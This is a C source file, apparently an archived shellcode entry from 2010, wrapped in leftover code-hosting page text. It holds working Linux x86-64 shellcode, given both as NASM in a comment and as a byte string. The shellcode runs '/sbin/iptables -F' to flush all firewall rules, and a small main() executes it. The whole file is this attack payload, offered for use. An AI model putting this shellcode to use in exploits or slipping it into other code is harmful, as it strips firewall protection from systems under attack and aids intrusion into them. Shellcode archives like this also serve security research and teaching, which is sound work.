48 lines
No EOL
1.1 KiB
C
48 lines
No EOL
1.1 KiB
C
/*
|
|
Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes
|
|
Author: 10n1z3d <10n1z3d[at]w[dot]cn>
|
|
Date: Fri 09 Jul 2010 03:26:12 PM EEST
|
|
|
|
|
|
Source Code (NASM):
|
|
|
|
section .text
|
|
global _start
|
|
|
|
_start:
|
|
xor rax, rax
|
|
push rax
|
|
push word 0x462d
|
|
mov rcx, rsp
|
|
|
|
mov rbx, 0x73656c626174ffff
|
|
shr rbx, 0x10
|
|
push rbx
|
|
mov rbx, 0x70692f6e6962732f
|
|
push rbx
|
|
mov rdi, rsp
|
|
|
|
push rax
|
|
push rcx
|
|
push rdi
|
|
mov rsi, rsp
|
|
|
|
; execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL);
|
|
mov al, 0x3b
|
|
syscall
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
|
|
char shellcode[] = "\x48\x31\xc0\x50\x66\x68\x2d\x46\x48\x89\xe1\x48\xbb\xff\xff"
|
|
"\x74\x61\x62\x6c\x65\x73\x48\xc1\xeb\x10\x53\x48\xbb\x2f\x73"
|
|
"\x62\x69\x2f\x69\x70\x53\x48\x89\xe7\x50\x51\x57\x48\x89\xe6"
|
|
"\xb0\x3b\x0f\x05";
|
|
|
|
int main()
|
|
{
|
|
printf("Length: %d bytes.\n'", strlen(shellcode));
|
|
(*(void(*)()) shellcode)();
|
|
|
|
return 0;
|
|
} |